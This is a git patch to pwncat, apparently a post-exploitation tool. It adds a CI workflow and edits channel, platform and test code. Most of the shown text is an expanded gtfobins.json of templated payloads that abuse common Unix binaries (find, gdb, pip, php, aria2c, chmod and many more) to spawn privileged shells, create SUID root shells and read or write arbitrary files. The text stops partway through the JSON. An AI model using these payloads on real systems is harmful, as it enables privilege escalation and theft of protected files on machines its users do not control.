From b998470297e3c4f4bc064af225947180e87541d8 Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Sun, 30 May 2021 00:24:12 -0400 Subject: [PATCH] Working on automated testing Added a test workflow. Only for triggering manually for now. --- .flake8 | 2 +- .github/workflows/python.yml | 35 + pwncat/channel/__init__.py | 2 +- pwncat/channel/socket.py | 3 +- pwncat/data/gtfobins.json | 3093 ++++++++++++++++++++++++++++++- pwncat/manager.py | 7 +- pwncat/platform/__init__.py | 4 + pwncat/platform/linux.py | 26 +- pwncat/platform/windows.py | 14 +- run-tests.sh | 25 + tests/conftest.py | 318 +--- tests/platforms/test_generic.py | 182 +- tests/platforms/test_linux.py | 12 - tests/test_manager.py | 36 +- tests/test_test.py | 19 - 15 files changed, 3298 insertions(+), 480 deletions(-) create mode 100644 .github/workflows/python.yml create mode 100755 run-tests.sh diff --git a/.flake8 b/.flake8 index 208b175..a87e2a9 100644 --- a/.flake8 +++ b/.flake8 @@ -1,3 +1,3 @@ [flake8] ignore=E501,E123,E121,E126,E133,W505,W503,W504 -exclude=.git,__pycache__,pwncat.egg-info,env,dist,build,data,docs +exclude=.git,__pycache__,pwncat.egg-info,env,dist,build,data,docs,tests diff --git a/.github/workflows/python.yml b/.github/workflows/python.yml new file mode 100644 index 0000000..23602de --- /dev/null +++ b/.github/workflows/python.yml @@ -0,0 +1,35 @@ +name: Python Checks +on: + push: + branches: ["main"] + pull_request: + branches: ["main"] + release: + types: ["created"] + workflow_dispatch: + +jobs: + testing: + + runs-on: ubuntu-latest + strategy: + matrix: + python-versions: [3.8,3.9] + + steps: + - uses: actions/checkout@v2 + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v2 + with: + python-version: ${{ matrix.python-version }} + - name: Install pwncat + run: | + python -m pip install --upgrade pip + pip install flake8 pytest + pip install -r requirements.txt +# - name: Lint with flake8 +# run: | +# flake8 + - name: Test with pytest + run: | + pytest diff --git a/pwncat/channel/__init__.py b/pwncat/channel/__init__.py index 0b84d63..bbaa784 100644 --- a/pwncat/channel/__init__.py +++ b/pwncat/channel/__init__.py @@ -336,7 +336,7 @@ class Channel(ABC): # Check if we have timed out if time.time() >= time_end: - raise ChannelTimeout(data) + raise ChannelTimeout(self, data) next_byte = self.recv(1) diff --git a/pwncat/channel/socket.py b/pwncat/channel/socket.py index ca1e4af..0d46615 100644 --- a/pwncat/channel/socket.py +++ b/pwncat/channel/socket.py @@ -5,8 +5,8 @@ import fcntl import socket from typing import Optional +from pwncat.util import console from rich.progress import Progress, BarColumn - from pwncat.channel import Channel, ChannelError, ChannelClosed @@ -100,6 +100,7 @@ class Socket(Channel): data = b"" try: + data = data + self.client.recv(count) return data + self.client.recv(count) except socket.error as exc: if exc.args[0] == errno.EAGAIN or exc.args[0] == errno.EWOULDBLOCK: diff --git a/pwncat/data/gtfobins.json b/pwncat/data/gtfobins.json index bbef527..654be87 100644 --- a/pwncat/data/gtfobins.json +++ b/pwncat/data/gtfobins.json @@ -1 +1,3092 @@ -{"dd":[{"type":"read","payload":"{command} 2>/dev/null","args":["if={lfile}"],"suid":[],"input":"","stream":"raw","exit":"{ctrl_c}"},{"type":"write","stream":"raw","payload":"{command} 2>/dev/null","args":["of={lfile}","iflag=fullblock","bs=1","count={length}"]},{"type":"write","stream":"print","payload":"{command} 2>/dev/null","args":["of={lfile}"],"exit":"{ctrl_d}{ctrl_d}"}],"cp":[{"type":"write","stream":"print","payload":"TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {cat} > $TF; {command}; rm -f $TF","args":["$TF","{lfile}"],"exit":"{ctrl_d}"},{"type":"write","stream":"base64","payload":"TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {base64} -d > $TF; {command}; rm -f $TF","args":["$TF","{lfile}"],"exit":"{ctrl_d}"}],"bash":[{"type":"shell","stream":"print","suid":["-p"],"exit":"exit"},{"type":"read","stream":"raw","payload":"{command}","args":["-c","'{cat} {lfile}'"],"suid":["-p"]},{"type":"write","stream":"base64","payload":"{command}","args":["-c","'{base64} -d > {lfile}'"],"suid":["-p"],"exit":"{ctrl_d}{ctrl_d}"}],"dash":[{"type":"shell","stream":"print","suid":["-p"],"exit":"exit"},{"type":"read","stream":"raw","payload":"{command} -c '{cat} {lfile}'","suid":["-p"],"exit":"{ctrl_d}"},{"type":"write","stream":"base64","payload":"{command} -c '{base64} -d > {lfile}'","suid":["-p"],"exit":"{ctrl_d}"}],"cat":[{"type":"read","stream":"raw","payload":"{command} {lfile}"}],"apt":[{"type":"shell","args":["changelog","apt"],"input":"!{shell}\n","exit":"exit\nq\n"}],"apt-get":[{"type":"shell","args":["changelog","apt"],"input":"!{shell}\n","exit":"exit\nq\n"}],"aria2c":[{"type":"shell","payload":"export TF=$({mktemp}); export SH=$({mktemp}); {cp} {shell} $SH; echo \"{chown} root:root $SH; {chmod} +sx $SH\" > $TF; {chmod} +x $TF; {command}; sleep 1; {rm} -f $TF; $SH -p","input":"rm -f $TF; rm -f $SH; unset TF; unset SH;\n","args":["--on-download-error=$TF","http://x"],"exit":"exit"}],"ash":[{"type":"shell","stream":"print","suid":["-p"],"exit":"exit"},{"type":"read","stream":"print","payload":"{command} -c '{cat} {lfile}'","suid":["-p"],"exit":"{ctrl_c}"},{"type":"write","stream":"base64","payload":"{command} -c '{base64} -d > {lfile}'","suid":["-p"],"exit":"{ctrl_c}"}],"awk":[{"type":"shell","payload":"{command} 'BEGIN {{system(\"{shell} -p\")}}'","exit":"exit"},{"type":"read","stream":"print","payload":"{command} // {lfile}"},{"type":"read","stream":"raw","payload":"{command} 'BEGIN {{system(\"{cat} {lfile}\")}}'"},{"type":"write","stream":"print","args":["-v","LFILE={lfile}","'BEGIN {{ printf \"\" > LFILE; while ((getline) > 0){{ print >> LFILE }} }}'"],"exit":"{ctrl_d}"}],"base32":[{"type":"read","stream":"raw","payload":"{command} {lfile} | {base32} -d","args":[]}],"base64":[{"type":"read","stream":"raw","payload":"{command} {lfile} | {base64} -d","args":[]}],"bpftrace":[{"type":"shell","args":["-c","'{shell} -p'","-e","'END {{exit()}}'"],"suid":["-p"],"exit":"exit"}],"busctl":[{"type":"shell","input":"!{shell}\n","exit":"exit\nq\n"}],"byebug":[{"type":"shell","payload":"TF=$({mktemp}); echo 'system(\"{shell}\")' > $TF; {command}; rm -f $TF","args":["--no-stop","-q","$TF"],"exit":"exit\n"},{"type":"read","payload":"TF=$({mktemp}); echo 'system(\"{cat} {lfile}\")' > $TF; {command}; rm -f $TF","args":["--no-stop","-q","$TF"],"exit":"exit\n"}],"chmod":[{"type":"shell","payload":"{command}","args":["+s","{shell}; {shell} -p"],"exit":"exit\n"},{"type":"read","payload":"{command} 2>/dev/null","args":["+s","{dd};","{dd}","if={lfile}"],"stream":"raw"},{"type":"write","stream":"raw","payload":"{command} 2>/dev/null","args":["+s","{dd};","{dd}","of={lfile}","iflag=count_bytes,fullblock","count={length}"]},{"type":"write","stream":"print","payload":"{command} 2>/dev/null","args":["+s","{dd};","{dd}","of={lfile}"],"exit":"{ctrl_d}"}],"chroot":[{"type":"shell","payload":"{command}","args":["/","{shell}","-p"],"exit":"exit\n"}],"cobc":[{"type":"shell","payload":"TF=none; {command} 2>/dev/null; TF=$({mktemp}); echo 'CALL \"SYSTEM\" USING \"exec {shell} -p\".' > $TF; {command} 2>&1; rm -f $TF","args":["-xFj","--frelax-syntax-checks","$TF"],"exit":"exit\n"}],"cpan":[{"type":"shell","payload":"{command}","input":"! system(\"{shell} -p\")\n","exit":"exit\nexit\n"}],"cpulimit":[{"type":"shell","payload":"{command}","args":["-l","100","-f","\"{shell}\""],"exit":"exit\n"}],"crash":[{"type":"shell","payload":"{command}","args":["-h"],"input":"!{shell} -p\n","exit":"exit\nq\n"}],"csh":[{"type":"shell","payload":"{command}","suid":["-b"],"input":"{shell} -p\n","exit":"exit\nexit\n"},{"type":"read","stream":"print","payload":"{command}","args":["-c","\"{cat} {lfile}\"","-b"]},{"type":"write","stream":"base64","payload":"{command}","args":["-c","\"{base64} -d > {lfile}\"","-b"],"exit":"{ctrl_d}{ctrl_d}"}],"bsd-csh":[{"type":"shell","payload":"{command}","input":"{shell} -p\n","suid":["-b"],"exit":"exit\nexit\n"},{"type":"read","stream":"print","payload":"{command}","args":["-c","\"{cat} {lfile}\"","-b"]},{"type":"write","stream":"base64","payload":"{command}","args":["-c","\"{base64} -d > {lfile}\"","-b"],"exit":"{ctrl_d}{ctrl_d}"}],"curl":[{"type":"read","stream":"raw","payload":"{command}","args":["-s","file://{lfile} --output -"]},{"type":"read","stream":"base64","payload":"{command} | {base64} -w 0","args":["-s","file://{lfile} --output -"]},{"type":"write","stream":"print","payload":"TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {cat} > $TF; {command}; rm -f $TF","args":["-s","file://$TF --output {lfile}"],"exit":"{ctrl_d}"},{"type":"write","stream":"base64","payload":"TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {base64} -d > $TF; {command}; rm -f $TF","args":["-s","file://$TF","--output","{lfile}"],"exit":"{ctrl_d}"}],"cut":[{"type":"read","stream":"print","payload":"{command}","args":["-d","''","-f1","{lfile}"]}],"date":[{"type":"read","stream":"print","payload":"{command} | {cut} -d \":\" -f2- | while read line; do echo ${{line:14:-1}}; done","args":["-f","{lfile}","+\"%M%M%M%M%M%M\"","2>&1"]}],"diff":[{"type":"read","stream":"print","payload":"{command}","args":["--line-format=%L","/dev/null","{lfile}"]}],"dmesg":[{"type":"shell","payload":"{command}","args":["-H"],"input":"!{shell} -p\n","exit":"exit\nq\n"},{"type":"read","stream":"print","payload":"{command}","args":["-rF","{lfile}"]}],"dpkg":[{"type":"shell","payload":"{command}","args":["-l"],"input":"!{shell} -p\n","exit":"exit\nq\n"}],"easy_install":[{"type":"shell","payload":"TF=none; {command} -h; TF=$({mktemp} -d);echo \"import os; os.execl('{shell}', '{shell}', '-c', '{shell} -p <$({tty}) >$({tty}) 2>$({tty})')\" > $TF/setup.py; {command} $TF","args":[],"exit":"exit\n"},{"type":"read","stream":"raw","payload":"TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp} -d);echo \"import sys; sys.stdout.buffer.write(open('{lfile}', 'rb').read())\" > $TF/setup.py; {command} $TF 2>/dev/null | {tail} -n +4","args":[]},{"type":"write","stream":"base64","payload":"TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp} -d); {cat} > $TF/b64; echo \"import os; os.execl('''{python}''', 'python', '''-c''', '''import base64\\nwith open('{lfile}','wb') as h:\\n\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\th.write(base64.b64decode(line.strip()))''')\" > $TF/setup.py; {command} $TF 2>/dev/null; {rm} -f $TF/b64","args":[],"exit":"{ctrl_d}{ctrl_d}"}],"eb":[{"type":"shell","payload":"{command}","args":["logs"],"input":"!{shell} -p\n","exit":"exit\nq\n"}],"ed":[{"type":"shell","payload":"{command}","input":"!{shell} -p\n","exit":"exit\nq\n"},{"type":"read","stream":"raw","payload":"echo ',p' | {command}","args":["-s","{lfile}"],"input":",p\n","exit":"q\n"},{"type":"write","stream":"print","payload":"echo -e \"1,\\$d\\na\\n$({cat})\\n.\\nw\\nq\\n\" | {command}","args":["-s","{lfile}"],"exit":"{ctrl_d}"}],"emacs":[{"type":"shell","payload":"{command}; {shell} -p","args":["-Q","-nw","--eval '(chmod \"{shell}\" #o4755)'","--eval \"(kill-emacs)\""],"exit":"exit\n"},{"type":"read","stream":"raw","payload":"TF=$({mktemp}); {command}; {cat} $TF ","args":["-Q","-nw","{lfile}","--eval \"(write-file \\\"$TF\\\")\"","--eval '(kill-emacs)'"]},{"type":"write","stream":"print","payload":"{cat} > /tmp/.em; {command}","args":["-Q","-nw","/tmp/.em","--eval \"(write-file \\\"{lfile}\\\")\"","--eval '(kill-emacs)'"],"exit":"{ctrl_d}{ctrl_d}"}],"env":[{"type":"shell","payload":"{command} {shell} -p","args":[],"exit":"exit\n"}],"eqn":[{"type":"read","stream":"print","payload":"TF={lfile}; {command} | {grep} -Pzo \"(?s)\\.lf 1 $TF.*\" | {tail} -n +2","args":["$TF"]}],"expand":[{"type":"read","stream":"print","payload":"{command}","args":["{lfile}"]}],"expect":[{"type":"shell","payload":"{command}","args":["-c","\"spawn {shell} -p; interact\""],"exit":"exit\n"},{"type":"read","stream":"raw","payload":"{command}","args":["-c","\"spawn {cat} {lfile}; interact\""]}],"facter":[{"type":"shell","payload":"TF=$({mktemp} -d); echo 'exec(\"{shell} -p\")' > $TF/x.rb; FACTERLIB=$TF {command}","args":[""]}],"find":[{"type":"shell","payload":"{command}","args":[".","-exec","{shell} -p","\\;","-quit"]},{"type":"read","stream":"raw","payload":"{command}","args":[".","-exec","{cat} {lfile}","\\;","-quit"]}],"flock":[{"type":"shell","payload":"{command}","args":["-u","/","{shell} -p"]},{"type":"read","stream":"raw","payload":"{command}","args":["-u","/","{cat} {lfile}"]},{"type":"write","stream":"base64","payload":"{command}","args":["-u","/","{sh} -c \"{base64} -d > {lfile}\""],"exit":"{ctrl_d}{ctrl_d}"}],"fmt":[{"type":"read","stream":"raw","payload":"{command}","args":["-pNON_EXISTING_PREFIX","{lfile}"]}],"fold":[{"type":"read","stream":"raw","payload":"{command}","args":["-w99999999","{lfile}"]}],"ftp":[{"type":"shell","payload":"{command}","input":"!{shell} -p\n","exit":"exit\nexit\n"}],"gawk":[{"type":"shell","payload":"{command} 'BEGIN {{system(\"{shell} -p\")}}'","exit":"exit"},{"type":"read","stream":"print","payload":"{command} // {lfile}"},{"type":"read","stream":"raw","payload":"{command} 'BEGIN {{system(\"{cat} {lfile}\")}}'"},{"type":"write","stream":"print","args":["-v","LFILE={lfile}","'BEGIN {{ printf \"\" > LFILE; while (getline > 0){{ print >> LFILE; }} }}'"],"exit":"{ctrl_d}"}],"gcc":[{"type":"shell","payload":"{command}","args":["-wrapper","{shell},-p,-s","."]}],"gdb":[{"type":"shell","payload":"{command}","args":["-q","-nx","-ex","'!{shell} -p'","-ex","quit"]},{"type":"shell","payload":"{command}","args":["-q","-nx","-ex","'python import os; os.execl(\"{shell}\", \"{shell}\", \"-p\")'","-ex","quit"]},{"type":"read","stream":"print","payload":"{command}","args":["-q","-nx","-ex","'set height 0'","-ex","'python print(open(\"{lfile}\").read())'","-ex","quit"]},{"type":"write","stream":"print","payload":"{command}","args":["-q","-nx","-ex","'python import sys; open(\"{lfile}\",\"w\").write(sys.stdin.read())'","-ex","quit"],"exit":"{ctrl_d}{ctrl_d}"},{"type":"write","stream":"base64","payload":"{command}","args":["-q","-nx","-ex","'python import sys,base64; exec(\"\"\"with open(\"{lfile}\",\"wb\") as f:\\n\\tfor line in sys.stdin:\\n\\t\\tf.write(base64.b64decode(line.strip()))\"\"\")'","-ex","quit"],"exit":"{ctrl_d}{ctrl_d}"}],"gem":[{"type":"shell","payload":"{command}","args":["open","-e","'{shell} -c {shell} -p'","rdoc"]},{"type":"read","stream":"raw","payload":"{command}","args":["open","-e","'{cat} {lfile}'","rdoc"]}],"genisoimage":[{"type":"read","stream":"print","payload":"{command} -q -o - {lfile} | {tail} -c +49152","args":[]}],"gimp-2.8":[{"type":"shell","payload":"{command}","args":["-idf","--batch-interpreter=python-fu-eval","-b","'import os, pty;exec(\"try:\\n\\tos.setuid(0);\\nexcept:\\n\\tpass\\ntry:\\n\\tos.setgid(0)\\nexcept:\\n\\tpass\"); pty.spawn(\"{shell}\");gimp.exit()'"],"exit":"exit"},{"type":"read","stream":"raw","payload":"{command} 2>/dev/null","args":["-idf","--batch-interpreter=python-fu-eval","-b","'import sys; sys.stdout.write(open(\"{lfile}\",\"rb\").read());gimp.exit()'"]}],"gimp":[{"type":"shell","payload":"{command}","args":["-idf","--batch-interpreter=python-fu-eval","-b","'import os; os.system(\"{shell} -p\");gimp.exit()'"],"exit":"exit"},{"type":"read","stream":"raw","payload":"{command} 2>/dev/null","args":["-idf","--batch-interpreter=python-fu-eval","-b","'import sys; sys.stdout.write(open(\"{lfile}\",\"rb\").read());gimp.exit()'"]}],"git":[{"type":"shell","payload":"{command}","args":["help","config"],"input":"!{shell}\n","exit":"exit\nq\n"}],"grep":[{"type":"read","stream":"print","payload":"{command}","args":["''","{lfile}"]}],"gtester":[{"type":"shell","payload":"TF=$({mktemp}); echo '#!{shell} -p' > $TF; echo 'exec {shell} -p 0<&1' >> $TF; {chmod} +x $TF; {command}; rm -f $TF","args":["-q","$TF"]}],"head":[{"type":"read","stream":"raw","payload":"{command}","args":["-c1GB","{lfile}"]}],"highlight":[{"type":"read","stream":"print","payload":"{command}","args":["--no-doc","--failsafe","{lfile}"]}],"iconv":[{"type":"read","stream":"raw","payload":"{command}","args":["-f","8859_1","-t","8859_1","{lfile}"]},{"type":"write","stream":"base64","payload":"{base64} -d | {command}","args":["-f","8859_1","-t","8859_1","-o","{lfile}"]}],"ionice":[{"type":"shell","payload":"{command}","args":["{shell}","-p"]}],"ip":[{"type":"shell","payload":"{command} netns add foo; {command} netns exec foo {shell} -p && {command} netns delete foo","args":[],"exit":"exit\n{ip} netns delete foo\n"}],"irb":[{"type":"shell","payload":"TF=$({mktemp}); echo 'exec \"{shell} -p\"' > $TF; {command}","args":["$TF"]},{"type":"read","stream":"print","payload":"TF=$({mktemp}); echo 'puts File.read(\"{lfile}\")' > $TF; {command} | {head} -n -2 | {tail} -n +2 | {head} -c -1","args":["$TF"]},{"type":"write","stream":"print","payload":"TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {command}","args":["$TF"],"exit":"{ctrl_d}{ctrl_d}"},{"type":"write","stream":"base64","payload":"TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {base64} -d | {command}","args":["$TF"],"exit":"{ctrl_d}{ctrl_d}"}],"irb2.5":[{"type":"shell","payload":"TF=$({mktemp}); echo 'exec \"{shell} -p\"' > $TF; {command}","args":["$TF"]},{"type":"read","stream":"print","payload":"TF=$({mktemp}); echo 'puts File.read(\"{lfile}\")' > $TF; {command} | {head} -n -2 | {tail} -n +2 | {head} -c -1","args":["$TF"]},{"type":"write","stream":"print","payload":"TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {command}","args":["$TF"],"exit":"{ctrl_d}{ctrl_d}"},{"type":"write","stream":"base64","payload":"TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {base64} -d | {command}","args":["$TF"],"exit":"{ctrl_d}{ctrl_d}"}],"jjs":[{"type":"shell","payload":"echo \"Java.type('java.lang.Runtime').getRuntime().exec('{shell} -pc \\$@|sh\\${{IFS}}-p _ echo {shell} -p <$({tty}) >$({tty}) 2>$({tty})').waitFor()\" | {command}","args":[""]}],"journalctl":[{"type":"shell","payload":"{command}","input":"!{shell} -p\n","exit":"exit\n{ctrl_c}"}],"jq":[{"type":"read","stream":"print","payload":"{command}","args":["-Rr",".","{lfile}"]}],"jrunscript":[{"type":"shell","payload":"{command}","args":["-e","\"exec('/bin/sh -pc \\$@|sh\\${{IFS}}-p _ echo /bin/bash -p <$({tty}) >$({tty}) 2>$({tty})')\""]}],"ksh":[{"type":"shell","payload":"{command}","suid":["-p"],"input":"{shell} -p\n","exit":"exit\nexit\n"},{"type":"read","stream":"print","payload":"{command}","args":["-c","\"{cat} {lfile}\""]},{"type":"write","stream":"base64","payload":"{command}","args":["-c","\"{base64} -d > {lfile}\""],"exit":"{ctrl_d}{ctrl_d}"}],"ksh93":[{"type":"shell","payload":"{command}","suid":["-p"],"input":"{shell} -p\n","exit":"exit\nexit\n"},{"type":"read","stream":"print","payload":"{command}","args":["-c","\"{cat} {lfile}\""]},{"type":"write","stream":"base64","payload":"{command}","args":["-c","\"{base64} -d > {lfile}\""],"exit":"{ctrl_d}{ctrl_d}"}],"ld-linux-x86-64.so.2":[{"type":"shell","payload":"{command}","args":["{shell}","-p"]}],"ld-linux-x86-64.so.1":[{"type":"shell","payload":"{command}","args":["{shell}","-p"]}],"ld-linux-x86.so.2":[{"type":"shell","payload":"{command}","args":["{shell}","-p"]}],"ld-linux-x86.so.1":[{"type":"shell","payload":"{command}","args":["{shell}","-p"]}],"ld-linux.so.1":[{"type":"shell","payload":"{command}","args":["{shell}","-p"]}],"ld-linux.so.2":[{"type":"shell","payload":"{command}","args":["{shell}","-p"]}],"ld.so.2":[{"type":"shell","payload":"{command}","args":["{shell}","-p"]}],"ld.so.1":[{"type":"shell","payload":"{command}","args":["{shell}","-p"]}],"ld.so":[{"type":"shell","payload":"{command}","args":["{shell}","-p"]}],"ld-2.so":[{"type":"shell","payload":"{command}","args":["{shell}","-p"]}],"ld-2.30.so":[{"type":"shell","payload":"{command}","args":["{shell}","-p"]}],"less":[{"type":"shell","payload":"{command} /etc/profile","input":"!{shell} -p\n\n","exit":"exit\nq"},{"type":"read","stream":"raw","payload":"{command} | {cat}","args":["{lfile}"]},{"type":"write","stream":"base64","payload":"{command} /etc/hosts; TF=$({mktemp} -u); {base64} -d > $TF; {command} < $TF; {rm} -f $TF","input":"q","exit":"{ctrl_d}{ctrl_d}s{lfile}\nq\n"}],"logsave":[{"type":"shell","payload":"{command}","args":["/dev/null","{shell}","-i","-p","-c","\"exec {shell} -p <$({tty}) >$({tty}) 2>$({tty})\""]}],"look":[{"type":"read","stream":"print","payload":"{command}","args":["''","{lfile}"]},{"type":"read","stream":"raw","payload":"{command} | {head} -c -1","args":["''","{lfile}"]}],"ltrace":[{"type":"shell","payload":"{command}","args":["-b","-L","{shell} -p"]}],"lwp-request":[{"type":"read","stream":"raw","payload":"{command}","args":["file://{lfile}"]}],"mail":[{"type":"shell","payload":"{command}","args":["--exec='!{shell}'"]}],"make":[{"type":"shell","payload":"{command}","args":["-s","--eval=$'x:\\n\\t-'\"{shell} -p\""]}],"man":[{"type":"shell","payload":"{command}","args":["man"],"input":"!{shell}\n","exit":"exit\nq"}],"mawk":[{"type":"shell","payload":"{command} 'BEGIN {{system(\"{shell} -p\")}}'"},{"type":"read","stream":"print","payload":"{command} // {lfile}"},{"type":"read","stream":"raw","payload":"{command} 'BEGIN {{system(\"{cat} {lfile}\")}}'"}],"more":[{"type":"shell","payload":"TERM= {command} /etc/passwd","input":"!{shell}","exit":"exit\nq"},{"type":"read","stream":"print","payload":"{command} {lfile} | {cat}"}],"mtr":[{"type":"read","stream":"print","payload":"{command} | | while read line; do echo ${line:28:-27}; done","args":["--raw","-F","{lfile}"]}],"mv":[{"type":"write","stream":"base64","payload":"TF=$({mktemp} -u); {base64} -d > $TF; {command}; {rm} -f $TF","args":["$TF","{lfile}"]}],"nano":[{"type":"shell","payload":"{command}","input":"{ctrl_r}{ctrl_x}reset; {shell} -p 1>&0 2>&0\n","exit":"exit\n{ctrl_x}n"},{"type":"shell","payload":"{command}","args":["-s","'{shell} -p'"],"input":"{shell} -p\n{ctrl_t}","exit":"exit\n{ctrl_x}n"},{"type":"shell","payload":"SPELL='{shell} -p' {command}","args":[],"input":"{shell} -p\n{ctrl_t}","exit":"exit\n{ctrl_x}n"}],"nawk":[{"type":"shell","payload":"{command} 'BEGIN {{system(\"{shell} -p\")}}'"},{"type":"read","stream":"print","payload":"{command} // {lfile}"},{"type":"read","stream":"raw","payload":"{command} 'BEGIN {{system(\"{cat} {lfile}\")}}'"}],"nice":[{"type":"shell","payload":"{command}","args":["{shell} -p"]}],"nl":[{"type":"read","stream":"print","payload":"{command} | while read line; do echo $line; done","args":["-bn","-w1","-s","''","{lfile}"]}],"nmap":[{"type":"shell","payload":"TF=$({mktemp}); echo 'os.execute(\"{shell} -p\")' > $TF; {command}; {rm} -f $TF","input":"reset\n","args":["--script=$TF"]}],"node":[{"type":"shell","payload":"{command}","args":["-e","'require(\"child_process\").spawn(\"{shell}\", [\"-p\"], {{stdio: [0, 1, 2]}});'"]}],"nohup":[{"type":"shell","payload":"{command}","args":["{shell}","-p","-c","\"{shell} -p <$({tty}) >$({tty}) 2>$({tty})\""]}],"nroff":[{"type":"shell","payload":"TF=$({mktemp} -d); echo '#!{shell} -p' > $TF/groff; echo '{shell} -p' >> $TF/groff; chmod +x $TF/groff; GROFF_BIN_PATH=$TF {command}","args":[]}],"nsenter":[{"type":"shell","payload":"{command}","args":["{shell} -p"]}],"od":[{"type":"read","stream":"print","payload":"echo -e $({command} -An -c -w9999 {lfile} | {sed} \"s/ /\\n/g\" | {tr} -d \"\\n\") | {head} -n -1","args":[""]}],"openssl":[{"type":"read","stream":"raw","payload":"{command}","args":["enc","-in","{lfile}"]},{"type":"write","stream":"base64","payload":"{base64} -d | {command}","args":["enc","-out","{lfile}"]}],"pdb":[{"type":"shell","payload":"TF=$({mktemp} -u); echo 'import os; os.system(\"{shell} -p\"); exit(0)' > $TF; {command}; {rm} -f $TF","args":["$TF"],"input":"cont\n"}],"perl":[{"type":"shell","payload":"{command}","args":["-e","'exec \"{shell} -p\"'"]}],"pg":[{"type":"shell","payload":"{command} /etc/profile","input":"!{shell} -p\n\n","exit":"exit\nq"},{"type":"read","stream":"raw","payload":"{command} | {cat}","args":["{lfile}"]}],"pager":[{"type":"shell","payload":"{command} /etc/profile","input":"!{shell} -p\n\n","exit":"exit\nq"},{"type":"read","stream":"raw","payload":"{command} | {cat}","args":["{lfile}"]}],"php":[{"type":"shell","payload":"{command}","args":["-r","'system(\"{shell} -p 1>&0 2>&0\");'"]},{"type":"shell","payload":"{command}","args":["-r","'passthru(\"{shell} -p 1>&0 2>&0\");'"]},{"type":"shell","payload":"{command}","args":["-r","'shell_exec(\"{shell} -p 1>&0 2>&0\");'"]},{"type":"shell","payload":"{command}","args":["-r","'$h=@popen(\"{shell} -p 1>&0 2>&0\",\"r\"); if($h){{ while(!feof($h)) echo(fread($h,4096)); pclose($h); }}'"]},{"type":"read","stream":"raw","payload":"{command}","args":["-r","'echo(file_get_contents(\"{lfile}\"));'"]}],"php5":[{"type":"shell","payload":"{command}","args":["-r","'system(\"{shell} -p 1>&0 2>&0\");'"]},{"type":"shell","payload":"{command}","args":["-r","'passthru(\"{shell} -p 1>&0 2>&0\");'"]},{"type":"shell","payload":"{command}","args":["-r","'shell_exec(\"{shell} -p 1>&0 2>&0\");'"]},{"type":"shell","payload":"{command}","args":["-r","'$h=@popen(\"{shell} -p 1>&0 2>&0\",\"r\"); if($h){{ while(!feof($h)) echo(fread($h,4096)); pclose($h); }}'"]},{"type":"read","stream":"raw","payload":"{command}","args":["-r","'echo(file_get_contents(\"{lfile}\"));'"]}],"php7":[{"type":"shell","payload":"{command}","args":["-r","'system(\"{shell} -p 1>&0 2>&0\");'"]},{"type":"shell","payload":"{command}","args":["-r","'passthru(\"{shell} -p 1>&0 2>&0\");'"]},{"type":"shell","payload":"{command}","args":["-r","'shell_exec(\"{shell} -p 1>&0 2>&0\");'"]},{"type":"shell","payload":"{command}","args":["-r","'$h=@popen(\"{shell} -p 1>&0 2>&0\",\"r\"); if($h){{ while(!feof($h)) echo(fread($h,4096)); pclose($h); }}'"]},{"type":"read","stream":"raw","payload":"{command}","args":["-r","'echo(file_get_contents(\"{lfile}\"));'"]}],"php7.0":[{"type":"shell","payload":"{command}","args":["-r","'system(\"{shell} -p 1>&0 2>&0\");'"]},{"type":"shell","payload":"{command}","args":["-r","'passthru(\"{shell} -p 1>&0 2>&0\");'"]},{"type":"shell","payload":"{command}","args":["-r","'shell_exec(\"{shell} -p 1>&0 2>&0\");'"]},{"type":"shell","payload":"{command}","args":["-r","'$h=@popen(\"{shell} -p 1>&0 2>&0\",\"r\"); if($h){{ while(!feof($h)) echo(fread($h,4096)); pclose($h); }}'"]},{"type":"read","stream":"raw","payload":"{command}","args":["-r","'echo(file_get_contents(\"{lfile}\"));'"]}],"php7.3":[{"type":"shell","payload":"{command}","args":["-r","'system(\"{shell} -p 1>&0 2>&0\");'"]},{"type":"shell","payload":"{command}","args":["-r","'passthru(\"{shell} -p 1>&0 2>&0\");'"]},{"type":"shell","payload":"{command}","args":["-r","'shell_exec(\"{shell} -p 1>&0 2>&0\");'"]},{"type":"shell","payload":"{command}","args":["-r","'$h=@popen(\"{shell} -p 1>&0 2>&0\",\"r\"); if($h){{ while(!feof($h)) echo(fread($h,4096)); pclose($h); }}'"]},{"type":"read","stream":"raw","payload":"{command}","args":["-r","'echo(file_get_contents(\"{lfile}\"));'"]}],"pic":[{"type":"shell","payload":"{command}","args":["-U"],"input":".PS\nsh X {shell} X\n","exit":"exit\n{ctrl_c}"}],"pico":[{"type":"shell","payload":"{command}","input":"{ctrl_r}{ctrl_x}reset; {shell} -p 1>&0 2>&0\n","exit":"exit\n{ctrl_x}n"},{"type":"shell","payload":"{command}","args":["-s","'{shell} -p'"],"input":"{shell} -p\n{ctrl_t}","exit":"exit\n{ctrl_x}n"},{"type":"shell","payload":"SPELL='{shell} -p' {command}","args":[],"input":"{shell} -p\n{ctrl_t}","exit":"exit\n{ctrl_x}n"}],"pip":[{"type":"shell","payload":"TF=$({mktemp} -d); echo \"import os; os.execl('{shell}', '{shell}', '-p', '-c', '{shell} -p <$({tty}) >$({tty}) 2>$({tty})')\" > $TF/setup.py; {command}","args":["install","$TF"]}],"pip3":[{"type":"shell","payload":"TF=$({mktemp} -d); echo \"import os; os.execl('{shell}', '{shell}', '-p', '-c', '{shell} -p <$({tty}) >$({tty}) 2>$({tty})')\" > $TF/setup.py; {command}","args":["install","$TF"]}],"pry":[{"type":"shell","payload":"{command}","args":["--exec","'system(\"{shell} -p\");exit'"]}],"python":[{"type":"shell","payload":"{command}","args":["-c","'import os; os.execl(\"{shell}\", \"{shell}\", 